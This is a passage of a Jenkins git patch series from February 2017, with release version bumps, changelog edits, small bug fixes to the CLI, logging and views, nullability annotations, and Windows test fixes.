[:] for(i = 0; i < buildTypes.size(); i++) { -- GitLab From 9b52620eb7c3dcc2e442684034413ebf31ca0b4c Mon Sep 17 00:00:00 2001 From: Claudiu Guiman Date: Fri, 3 Feb 2017 15:53:41 -0800 Subject: [PATCH 604/712] Update findFormItem so it can return checked radio buttons --- war/src/main/webapp/scripts/hudson-behavior.js | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/war/src/main/webapp/scripts/hudson-behavior.js b/war/src/main/webapp/scripts/hudson-behavior.js index fda4a9aed3..4af1ebb058 100644 --- a/war/src/main/webapp/scripts/hudson-behavior.js +++ b/war/src/main/webapp/scripts/hudson-behavior.js @@ -350,7 +350,14 @@ function findNext(src,filter) { function findFormItem(src,name,directionF) { var name2 = "_."+name; // handles notation silently - return directionF(src,function(e){ return (e.tagName=="INPUT" || e.tagName=="TEXTAREA" || e.tagName=="SELECT") && (e.name==name || e.name==name2); }); + return directionF(src,function(e){ + if (e.tagName == "INPUT" && e.type=="radio" && e.checked==true) { + var r = 0; + while (e.name.substring(r,r+8)=='removeme') //radio buttons have must be unique in repeatable blocks so name is prefixed + r = e.name.indexOf('_',r+8)+1; + return name == e.name.substring(r); + } + return (e.tagName=="INPUT" || e.tagName=="TEXTAREA" || e.tagName=="SELECT") && (e.name==name || e.name==name2); }); } /** -- GitLab From 7a268918895a1028e73483bd636a04c9f6967ad7 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Mon, 6 Feb 2017 02:56:53 -0800 Subject: [PATCH 605/712] [maven-release-plugin] prepare release jenkins-2.45 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index fb9d90f375..77b415123c 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.45-SNAPSHOT + 2.45 cli diff --git a/core/pom.xml b/core/pom.xml index 321ae67b51..28b99dc43c 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.45-SNAPSHOT + 2.45 jenkins-core diff --git a/pom.xml b/pom.xml index 5efa721d02..dd3c5e4e9c 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.45-SNAPSHOT + 2.45 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.45 diff --git a/test/pom.xml b/test/pom.xml index 633969b424..55444cb212 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.45-SNAPSHOT + 2.45 test diff --git a/war/pom.xml b/war/pom.xml index 67d9f32a82..56bb296469 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.45-SNAPSHOT + 2.45 jenkins-war -- GitLab From 9a205e5f79202fbc639db3858200a7393fd7653c Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Mon, 6 Feb 2017 02:56:53 -0800 Subject: [PATCH 606/712] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 77b415123c..a41bf024f3 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.45 + 2.46-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index 28b99dc43c..9da68d4aa9 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.45 + 2.46-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index dd3c5e4e9c..0be4d5f073 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.45 + 2.46-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.45 + HEAD diff --git a/test/pom.xml b/test/pom.xml index 55444cb212..217e1331a0 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.45 + 2.46-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index 56bb296469..f51f36bebe 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.45 + 2.46-SNAPSHOT jenkins-war -- GitLab From 92720ab99b46da5af43ab046b171c8ed220cf86c Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Mon, 6 Feb 2017 03:04:31 -0800 Subject: [PATCH 607/712] updated changelog for release --- changelog.html | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/changelog.html b/changelog.html index e3d741955e..dc31cc3aac 100644 --- a/changelog.html +++ b/changelog.html @@ -56,8 +56,12 @@ Upcoming changes +

                                            What's new in 2.45 (2017/02/06)

                                            +
                                              +

                                            What's new in 2.44 (2017/02/01)

                                            • -- GitLab From e6a9b739f98fb30c476de9506282563dacb2bae2 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Mon, 6 Feb 2017 13:37:40 +0100 Subject: [PATCH 608/712] Changelog: Noting 2.45 --- changelog.html | 2 ++ 1 file changed, 2 insertions(+) diff --git a/changelog.html b/changelog.html index dc31cc3aac..873fbacc5b 100644 --- a/changelog.html +++ b/changelog.html @@ -61,6 +61,8 @@ Upcoming changes

                                              What's new in 2.45 (2017/02/06)

                                                +
                                              • + No user-visible changes.

                                              What's new in 2.44 (2017/02/01)

                                                -- GitLab From 7b82a301b29421dfefb1eb215479cc355287272e Mon Sep 17 00:00:00 2001 From: Alvaro Lobato Date: Mon, 6 Feb 2017 13:58:10 +0100 Subject: [PATCH 609/712] [FIX JENKINS-41457] Use BUILD_NOW_TEXT for parameterised jobs --- .../jenkins/model/ParameterizedJobMixIn.java | 3 ++- .../util/AlternativeUiTextProviderTest.java | 20 +++++++++++++++++++ 2 files changed, 22 insertions(+), 1 deletion(-) diff --git a/core/src/main/java/jenkins/model/ParameterizedJobMixIn.java b/core/src/main/java/jenkins/model/ParameterizedJobMixIn.java index da17b0d23a..c148d1fc98 100644 --- a/core/src/main/java/jenkins/model/ParameterizedJobMixIn.java +++ b/core/src/main/java/jenkins/model/ParameterizedJobMixIn.java @@ -278,7 +278,8 @@ public abstract class ParameterizedJobMixIn & Param * Uses {@link #BUILD_NOW_TEXT}. */ public final String getBuildNowText() { - return isParameterized() ? Messages.ParameterizedJobMixIn_build_with_parameters() : AlternativeUiTextProvider.get(BUILD_NOW_TEXT, asJob(), Messages.ParameterizedJobMixIn_build_now()); + return isParameterized() ? AlternativeUiTextProvider.get(BUILD_NOW_TEXT, asJob(), Messages.ParameterizedJobMixIn_build_with_parameters()) + : AlternativeUiTextProvider.get(BUILD_NOW_TEXT, asJob(), Messages.ParameterizedJobMixIn_build_now()); } /** diff --git a/test/src/test/java/hudson/util/AlternativeUiTextProviderTest.java b/test/src/test/java/hudson/util/AlternativeUiTextProviderTest.java index 8146f05744..266a4ff824 100644 --- a/test/src/test/java/hudson/util/AlternativeUiTextProviderTest.java +++ b/test/src/test/java/hudson/util/AlternativeUiTextProviderTest.java @@ -25,6 +25,8 @@ package hudson.util; import hudson.model.AbstractProject; import hudson.model.FreeStyleProject; +import hudson.model.ParametersDefinitionProperty; +import hudson.model.StringParameterDefinition; import jenkins.model.ParameterizedJobMixIn; import static org.hamcrest.Matchers.containsString; import static org.junit.Assert.assertThat; @@ -58,9 +60,27 @@ public class AlternativeUiTextProviderTest { */ @Test public void basics() throws Exception { + Impl.oldschool = false; FreeStyleProject p = j.createFreeStyleProject("aaa"); assertThat(j.createWebClient().getPage(p).asText(), containsString("newschool:aaa")); + Impl.oldschool = true; assertThat(j.createWebClient().getPage(p).asText(), containsString("oldschool:aaa")); } + + /** + * Makes sure that {@link AlternativeUiTextProvider} actually works with a parameterized Job. + */ + @Test + public void basicsWithParameter() throws Exception { + Impl.oldschool = false; + FreeStyleProject p = j.createFreeStyleProject("aaa"); + p.addProperty(new ParametersDefinitionProperty(new StringParameterDefinition("FOO", null))); + String pageText = j.createWebClient().getPage(p).asText(); + assertThat(pageText, containsString("newschool:aaa")); + + Impl.oldschool = true; + pageText = j.createWebClient().getPage(p).asText(); + assertThat(pageText, containsString("oldschool:aaa")); + } } -- GitLab From 0d3d6b65bf134ba01d67908db63212dc54aa1c58 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Mon, 6 Feb 2017 17:13:02 +0100 Subject: [PATCH 610/712] [FIX JENKINS-41765] Allow groovy CLI command via SSH --- .../main/java/hudson/cli/GroovyCommand.java | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) diff --git a/core/src/main/java/hudson/cli/GroovyCommand.java b/core/src/main/java/hudson/cli/GroovyCommand.java index 144c2dfe0c..e7b2479516 100644 --- a/core/src/main/java/hudson/cli/GroovyCommand.java +++ b/core/src/main/java/hudson/cli/GroovyCommand.java @@ -71,14 +71,17 @@ public class GroovyCommand extends CLICommand { binding.setProperty("stdout",stdout); binding.setProperty("stderr",stderr); binding.setProperty("channel",channel); - String j = getClientEnvironmentVariable("JOB_NAME"); - if (j!=null) { - Item job = Jenkins.getActiveInstance().getItemByFullName(j); - binding.setProperty("currentJob", job); - String b = getClientEnvironmentVariable("BUILD_NUMBER"); - if (b!=null && job instanceof AbstractProject) { - Run r = ((AbstractProject) job).getBuildByNumber(Integer.parseInt(b)); - binding.setProperty("currentBuild", r); + + if (channel != null) { + String j = getClientEnvironmentVariable("JOB_NAME"); + if (j != null) { + Item job = Jenkins.getActiveInstance().getItemByFullName(j); + binding.setProperty("currentJob", job); + String b = getClientEnvironmentVariable("BUILD_NUMBER"); + if (b != null && job instanceof AbstractProject) { + Run r = ((AbstractProject) job).getBuildByNumber(Integer.parseInt(b)); + binding.setProperty("currentBuild", r); + } } } -- GitLab From 860144b1d2e16ad8105bf0f6b04f09a807989f8c Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Mon, 6 Feb 2017 21:42:59 +0100 Subject: [PATCH 611/712] Fix 2.45 changelog --- changelog.html | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/changelog.html b/changelog.html index 873fbacc5b..63e6f53241 100644 --- a/changelog.html +++ b/changelog.html @@ -61,8 +61,18 @@ Upcoming changes

                                                What's new in 2.45 (2017/02/06)

                                                  -
                                                • - No user-visible changes. +
                                                • + Delete obsolete pinning UI. + (issue 34065) +
                                                • + Don't try to set Agent Port when it is enforced, breaking form submission. + (issue 41511) +
                                                • + Use project-specific validation URL for SCM Trigger, so H is handled correctly in preview. + (issue 26977) +
                                                • + Fix completely wrong Basque translation. + (pull 2731)

                                                What's new in 2.44 (2017/02/01)

                                                  -- GitLab From d6f72a3b6bf720f341ad09788c7cafa10b4203fe Mon Sep 17 00:00:00 2001 From: Alvaro Lobato Date: Mon, 6 Feb 2017 22:13:38 +0100 Subject: [PATCH 612/712] [FIX JENKINS-41457] Include issue number in the test --- .../test/java/hudson/util/AlternativeUiTextProviderTest.java | 2 ++ 1 file changed, 2 insertions(+) diff --git a/test/src/test/java/hudson/util/AlternativeUiTextProviderTest.java b/test/src/test/java/hudson/util/AlternativeUiTextProviderTest.java index 266a4ff824..5afe78cbd9 100644 --- a/test/src/test/java/hudson/util/AlternativeUiTextProviderTest.java +++ b/test/src/test/java/hudson/util/AlternativeUiTextProviderTest.java @@ -32,6 +32,7 @@ import static org.hamcrest.Matchers.containsString; import static org.junit.Assert.assertThat; import org.junit.Rule; import org.junit.Test; +import org.jvnet.hudson.test.Issue; import org.jvnet.hudson.test.JenkinsRule; import org.jvnet.hudson.test.TestExtension; @@ -72,6 +73,7 @@ public class AlternativeUiTextProviderTest { * Makes sure that {@link AlternativeUiTextProvider} actually works with a parameterized Job. */ @Test + @Issue("JENKINS-41757") public void basicsWithParameter() throws Exception { Impl.oldschool = false; FreeStyleProject p = j.createFreeStyleProject("aaa"); -- GitLab From afe17a4bda72dc722e505967efc88ef449c0fd75 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Mon, 6 Feb 2017 17:23:31 -0500 Subject: [PATCH 613/712] [FIXED JENKINS-16634] Do not fail to write a log file just because something deleted the parent directory. --- core/pom.xml | 1 + .../util/io/RewindableFileOutputStream.java | 2 ++ ...windableRotatingFileOutputStreamTest.java} | 33 +++++++++++++++---- 3 files changed, 30 insertions(+), 6 deletions(-) rename core/src/test/java/hudson/util/io/{ReopenableRotatingFileOutputStreamTest.java => RewindableRotatingFileOutputStreamTest.java} (53%) diff --git a/core/pom.xml b/core/pom.xml index 9da68d4aa9..70e15b5f47 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -772,6 +772,7 @@ THE SOFTWARE. 0.5C true -XX:MaxPermSize=128m -noverify + false diff --git a/core/src/main/java/hudson/util/io/RewindableFileOutputStream.java b/core/src/main/java/hudson/util/io/RewindableFileOutputStream.java index 444040d589..b7bb2b5f02 100644 --- a/core/src/main/java/hudson/util/io/RewindableFileOutputStream.java +++ b/core/src/main/java/hudson/util/io/RewindableFileOutputStream.java @@ -28,6 +28,7 @@ import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.OutputStream; +import org.apache.commons.io.FileUtils; /** * {@link OutputStream} that writes to a file. @@ -48,6 +49,7 @@ public class RewindableFileOutputStream extends OutputStream { private synchronized OutputStream current() throws IOException { if (current == null) { if (!closed) { + FileUtils.forceMkdir(out.getParentFile()); try { current = new FileOutputStream(out,false); } catch (FileNotFoundException e) { diff --git a/core/src/test/java/hudson/util/io/ReopenableRotatingFileOutputStreamTest.java b/core/src/test/java/hudson/util/io/RewindableRotatingFileOutputStreamTest.java similarity index 53% rename from core/src/test/java/hudson/util/io/ReopenableRotatingFileOutputStreamTest.java rename to core/src/test/java/hudson/util/io/RewindableRotatingFileOutputStreamTest.java index 94fc5cf9ed..867ac546a6 100644 --- a/core/src/test/java/hudson/util/io/ReopenableRotatingFileOutputStreamTest.java +++ b/core/src/test/java/hudson/util/io/RewindableRotatingFileOutputStreamTest.java @@ -9,16 +9,20 @@ import org.junit.Test; import java.io.File; import java.io.IOException; import java.io.PrintWriter; +import org.apache.commons.io.FileUtils; +import org.junit.Rule; +import org.junit.rules.TemporaryFolder; +import org.jvnet.hudson.test.Issue; -/** - * @author Kohsuke Kawaguchi - */ -public class ReopenableRotatingFileOutputStreamTest { +public class RewindableRotatingFileOutputStreamTest { + + @Rule + public TemporaryFolder tmp = new TemporaryFolder(); @Test public void rotation() throws IOException, InterruptedException { - File base = File.createTempFile("test", "log"); - ReopenableRotatingFileOutputStream os = new ReopenableRotatingFileOutputStream(base,3); + File base = tmp.newFile("test.log"); + RewindableRotatingFileOutputStream os = new RewindableRotatingFileOutputStream(base,3); PrintWriter w = new PrintWriter(os,true); for (int i=0; i<=4; i++) { w.println("Content"+i); @@ -35,4 +39,21 @@ public class ReopenableRotatingFileOutputStreamTest { os.deleteAll(); } + + @Issue("JENKINS-16634") + @Test + public void deletedFolder() throws Exception { + File dir = tmp.newFolder("dir"); + File base = new File(dir, "x.log"); + RewindableRotatingFileOutputStream os = new RewindableRotatingFileOutputStream(base, 3); + for (int i = 0; i < 2; i++) { + FileUtils.deleteDirectory(dir); + os.write('.'); + FileUtils.deleteDirectory(dir); + os.write('.'); + FileUtils.deleteDirectory(dir); + os.rewind(); + } + } + } -- GitLab From fcf4ca7697b4a5293c95b221669f202621b178f7 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Tue, 7 Feb 2017 13:21:22 -0500 Subject: [PATCH 614/712] [FIXED JENKINS-41825] Display an informative message, rather than a Groovy exception, when View.getItems fails. --- .../resources/hudson/model/View/main.groovy | 4 ++- .../hudson/model/View/main.properties | 23 ++++++++++++ test/src/test/java/hudson/model/ViewTest.java | 35 ++++++++++++++++++- 3 files changed, 60 insertions(+), 2 deletions(-) create mode 100644 core/src/main/resources/hudson/model/View/main.properties diff --git a/core/src/main/resources/hudson/model/View/main.groovy b/core/src/main/resources/hudson/model/View/main.groovy index 449e992fd1..52a25f3a60 100644 --- a/core/src/main/resources/hudson/model/View/main.groovy +++ b/core/src/main/resources/hudson/model/View/main.groovy @@ -3,7 +3,9 @@ package hudson.model.View; t=namespace(lib.JenkinsTagLib) st=namespace("jelly:stapler") -if (items.isEmpty()) { +if (items == null) { + p(_('broken')) +} else if (items.isEmpty()) { if (app.items.size() != 0) { set("views",my.owner.views); set("currentView",my); diff --git a/core/src/main/resources/hudson/model/View/main.properties b/core/src/main/resources/hudson/model/View/main.properties new file mode 100644 index 0000000000..c974575281 --- /dev/null +++ b/core/src/main/resources/hudson/model/View/main.properties @@ -0,0 +1,23 @@ +# The MIT License +# +# Copyright 2017 CloudBees, Inc. +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. + +broken=An error occurred when retrieving jobs for this view. Please consult the Jenkins logs for details. diff --git a/test/src/test/java/hudson/model/ViewTest.java b/test/src/test/java/hudson/model/ViewTest.java index 82314e9841..e4de723f7e 100644 --- a/test/src/test/java/hudson/model/ViewTest.java +++ b/test/src/test/java/hudson/model/ViewTest.java @@ -53,6 +53,9 @@ import hudson.util.HudsonIsLoading; import java.io.File; import java.io.IOException; import java.util.Arrays; +import java.util.List; +import java.util.logging.Level; +import java.util.logging.LogRecord; import jenkins.model.ProjectNamingStrategy; import jenkins.security.NotReallyRoleSensitiveCallable; import static org.junit.Assert.*; @@ -61,6 +64,7 @@ import org.junit.Rule; import org.junit.Test; import org.jvnet.hudson.test.JenkinsRule; import org.jvnet.hudson.test.JenkinsRule.WebClient; +import org.jvnet.hudson.test.LoggerRule; import org.jvnet.hudson.test.MockAuthorizationStrategy; import org.jvnet.hudson.test.MockFolder; import org.jvnet.hudson.test.TestExtension; @@ -73,6 +77,8 @@ import org.kohsuke.stapler.DataBoundConstructor; public class ViewTest { @Rule public JenkinsRule j = new JenkinsRule(); + @Rule + public LoggerRule logging = new LoggerRule(); @Issue("JENKINS-7100") @Test public void xHudsonHeader() throws Exception { @@ -506,7 +512,34 @@ public class ViewTest { private void assertCheckJobName(ViewGroup context, String name, FormValidation.Kind expected) { assertEquals(expected, context.getPrimaryView().doCheckJobName(name).kind); } - + + @Issue("JENKINS-41825") + @Test + public void brokenGetItems() throws Exception { + logging.capture(100).record("", Level.INFO); + j.jenkins.addView(new BrokenView()); + j.createWebClient().goTo("view/broken/"); + boolean found = false; + LOGS: for (LogRecord record : logging.getRecords()) { + for (Throwable t = record.getThrown(); t != null; t = t.getCause()) { + if (t instanceof IllegalStateException && BrokenView.ERR.equals(t.getMessage())) { + found = true; + break LOGS; + } + } + } + assertTrue(found); + } + private static class BrokenView extends ListView { + static final String ERR = "oops I cannot retrieve items"; + BrokenView() { + super("broken"); + } + @Override + public List getItems() { + throw new IllegalStateException(ERR); + } + } @Test @Issue("JENKINS-36908") -- GitLab From ba9755b67b4c1e8a9edcfd01d13b9aa563e51380 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Wed, 8 Feb 2017 15:25:17 +0100 Subject: [PATCH 615/712] Fix typo --- changelog.html | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 63e6f53241..5d9e9a0e4c 100644 --- a/changelog.html +++ b/changelog.html @@ -115,7 +115,7 @@ Upcoming changes
                                                • Support displaying of warnings from the Update Site in the Plugin Manager and in administrative monitors. - (issue 40404, + (issue 40494, announcement blog post)
                                                • Do not print warnings about undefined parameters -- GitLab From 1047a2a66c906a41f26d40563d1e4365c4e1157c Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Wed, 8 Feb 2017 22:11:30 +0100 Subject: [PATCH 616/712] Add Windows build back This will allow PRs to resolve failing tests on Windows --- Jenkinsfile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Jenkinsfile b/Jenkinsfile index 1a67c6c585..73bcc7ae51 100644 --- a/Jenkinsfile +++ b/Jenkinsfile @@ -19,7 +19,7 @@ properties([[$class: 'jenkins.model.BuildDiscarderProperty', strategy: [$class: artifactNumToKeepStr: '20']]]) // see https://github.com/jenkins-infra/documentation/blob/master/ci.adoc for information on what node types are available -def buildTypes = ['Linux'] // TODO add 'Windows' +def buildTypes = ['Linux', 'Windows'] def builds = [:] for(i = 0; i < buildTypes.size(); i++) { -- GitLab From 2f057b4edde450bb2e6fe86bcd02fd731c8dbc88 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Thu, 9 Feb 2017 10:44:19 -0500 Subject: [PATCH 617/712] =?UTF-8?q?@daniel-beck=E2=80=99s=2056da425=20merg?= =?UTF-8?q?ing=20#2722=20implied=20that=20JENKINS-40088=20was=20fixed=20in?= =?UTF-8?q?=202.42;=20in=20fact=20it=20is=20toward=202.46.?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- changelog.html | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/changelog.html b/changelog.html index b4e4b58d6e..ee15c0b0f6 100644 --- a/changelog.html +++ b/changelog.html @@ -56,7 +56,10 @@ Upcoming changes

                                                  What's new in 2.45 (2017/02/06)

                                                  @@ -91,10 +94,6 @@ Upcoming changes
                                                • IllegalStateException from Winstone when making certain requests with access logging enabled. (issue 37625) -
                                                • - Failure to serialize a single Action could cause an entire REST export response to fail. - Upgraded to Stapler 1.249 with a fix. - (issue 40088)

                                                What's new in 2.41 (2017/01/15)

                                                  -- GitLab From 4343c8697155559d07a86b3d7367d96e01836597 Mon Sep 17 00:00:00 2001 From: Kanstantsin Shautsou Date: Thu, 9 Feb 2017 21:57:08 +0300 Subject: [PATCH 618/712] Annotations for FederatedLoginService. Signed-off-by: Kanstantsin Shautsou --- .../java/hudson/security/FederatedLoginService.java | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/core/src/main/java/hudson/security/FederatedLoginService.java b/core/src/main/java/hudson/security/FederatedLoginService.java index b966fe13d5..908a8e25a0 100644 --- a/core/src/main/java/hudson/security/FederatedLoginService.java +++ b/core/src/main/java/hudson/security/FederatedLoginService.java @@ -35,6 +35,8 @@ import org.kohsuke.stapler.HttpResponse; import org.kohsuke.stapler.StaplerRequest; import org.kohsuke.stapler.StaplerResponse; +import javax.annotation.CheckForNull; +import javax.annotation.Nonnull; import javax.servlet.ServletException; import java.io.IOException; import java.io.Serializable; @@ -99,12 +101,14 @@ public abstract class FederatedLoginService implements ExtensionPoint { * The object is bound to /federatedLoginService/URLNAME/. The url name needs to be unique among all * {@link FederatedLoginService}s. */ + @Nonnull public abstract String getUrlName(); /** * Returns your implementation of {@link FederatedLoginServiceUserProperty} that stores * opaque identifiers. */ + @Nonnull public abstract Class getUserPropertyClass(); /** @@ -117,6 +121,7 @@ public abstract class FederatedLoginService implements ExtensionPoint { * * @return must not be null. */ + @Nonnull public abstract String getIdentifier(); /** @@ -125,6 +130,7 @@ public abstract class FederatedLoginService implements ExtensionPoint { * * @return null if this information is not available. */ + @CheckForNull public abstract String getNickname(); /** @@ -132,6 +138,7 @@ public abstract class FederatedLoginService implements ExtensionPoint { * * @return null if this information is not available. */ + @CheckForNull public abstract String getFullName(); /** @@ -139,6 +146,7 @@ public abstract class FederatedLoginService implements ExtensionPoint { * * @return null if this information is not available. */ + @CheckForNull public abstract String getEmailAddress(); /** @@ -150,6 +158,7 @@ public abstract class FederatedLoginService implements ExtensionPoint { /** * Locates the user who owns this identifier. */ + @CheckForNull public final User locateUser() { Class pt = getUserPropertyClass(); String id = getIdentifier(); @@ -175,6 +184,7 @@ public abstract class FederatedLoginService implements ExtensionPoint { * a user registration session (provided that {@link SecurityRealm} supports that.) */ @SuppressWarnings("ACL.impersonate") + @Nonnull public User signin() throws UnclaimedIdentityException { User u = locateUser(); if (u!=null) { -- GitLab From 96f0062132cc602e6e45f7e6c95860862ecfd480 Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Fri, 10 Feb 2017 15:49:43 +0000 Subject: [PATCH 619/712] Usage Statistics needs a section otherwise it can be kind of hard to find --- .../main/resources/hudson/model/UsageStatistics/global.groovy | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/core/src/main/resources/hudson/model/UsageStatistics/global.groovy b/core/src/main/resources/hudson/model/UsageStatistics/global.groovy index 32428c95c3..34785a89f3 100644 --- a/core/src/main/resources/hudson/model/UsageStatistics/global.groovy +++ b/core/src/main/resources/hudson/model/UsageStatistics/global.groovy @@ -2,4 +2,6 @@ package hudson.model.UsageStatistics; def f=namespace(lib.FormTagLib) -f.optionalBlock( field:"usageStatisticsCollected", checked:app.usageStatisticsCollected, title:_("statsBlurb")) +f.section(title: _("Usage Statistics")) { + f.optionalBlock(field: "usageStatisticsCollected", checked: app.usageStatisticsCollected, title: _("statsBlurb")) +} -- GitLab From d416d8a71e8b6677dc9832652c031b3470f755cd Mon Sep 17 00:00:00 2001 From: Alex Earl Date: Fri, 10 Feb 2017 13:35:14 -0700 Subject: [PATCH 620/712] Fix some tests on Windows. --- .../groovy/hudson/util/TextFileTest.groovy | 6 +- .../cli/AbstractBuildRangeCommand2Test.java | 4 +- .../cli/AbstractBuildRangeCommandTest.java | 80 +++++++++---------- .../java/hudson/cli/ConsoleCommandTest.java | 49 +++++++++--- 4 files changed, 83 insertions(+), 56 deletions(-) diff --git a/test/src/test/groovy/hudson/util/TextFileTest.groovy b/test/src/test/groovy/hudson/util/TextFileTest.groovy index 9347b488a9..0299132fc8 100644 --- a/test/src/test/groovy/hudson/util/TextFileTest.groovy +++ b/test/src/test/groovy/hudson/util/TextFileTest.groovy @@ -44,9 +44,9 @@ class TextFileTest { f.text = getClass().getResource("ascii.txt").text def t = new TextFile(f) - def tail35 = "la, vitae interdum quam rutrum id.\n" - assert t.fastTail(35).equals(tail35) - assert tail35.length()==35 + def tailStr = "la, vitae interdum quam rutrum id." + System.lineSeparator() + assert t.fastTail(tailStr.length()).equals(tailStr) + assert tailStr.length()==(34 + System.lineSeparator().length()) } @Test diff --git a/test/src/test/java/hudson/cli/AbstractBuildRangeCommand2Test.java b/test/src/test/java/hudson/cli/AbstractBuildRangeCommand2Test.java index d2643b2d13..2287fc426a 100644 --- a/test/src/test/java/hudson/cli/AbstractBuildRangeCommand2Test.java +++ b/test/src/test/java/hudson/cli/AbstractBuildRangeCommand2Test.java @@ -106,7 +106,7 @@ public class AbstractBuildRangeCommand2Test { .authorizedTo(Jenkins.READ, Job.READ) .invokeWithArgs("aProject", "1"); assertThat(result, succeeded()); - assertThat(result.stdout(), containsString("Builds: 1\n")); + assertThat(result.stdout(), containsString("Builds: 1" + System.lineSeparator())); } @Test public void dummyRangeShouldSuccessEvenTheBuildIsStuckInTheQueue() throws Exception { @@ -124,7 +124,7 @@ public class AbstractBuildRangeCommand2Test { .authorizedTo(Jenkins.READ, Job.READ) .invokeWithArgs("aProject", "1"); assertThat(result, succeeded()); - assertThat(result.stdout(), containsString("Builds: \n")); + assertThat(result.stdout(), containsString("Builds: " + System.lineSeparator())); } } diff --git a/test/src/test/java/hudson/cli/AbstractBuildRangeCommandTest.java b/test/src/test/java/hudson/cli/AbstractBuildRangeCommandTest.java index 50a4cf85cf..cda886fc85 100644 --- a/test/src/test/java/hudson/cli/AbstractBuildRangeCommandTest.java +++ b/test/src/test/java/hudson/cli/AbstractBuildRangeCommandTest.java @@ -119,13 +119,13 @@ public class AbstractBuildRangeCommandTest { .authorizedTo(Jenkins.READ, Job.READ) .invokeWithArgs(PROJECT_NAME, String.valueOf(BUILDS+1)); assertThat(result, succeeded()); - assertThat(result.stdout(), containsString("Builds: \n")); + assertThat(result.stdout(), containsString("Builds: "+System.lineSeparator())); result = command .authorizedTo(Jenkins.READ, Job.READ) .invokeWithArgs(PROJECT_NAME, String.valueOf(deleted[0])); assertThat(result, succeeded()); - assertThat(result.stdout(), containsString("Builds: \n")); + assertThat(result.stdout(), containsString("Builds: "+System.lineSeparator())); } @Test public void dummyRangeNumberSingleShouldSuccess() throws Exception { @@ 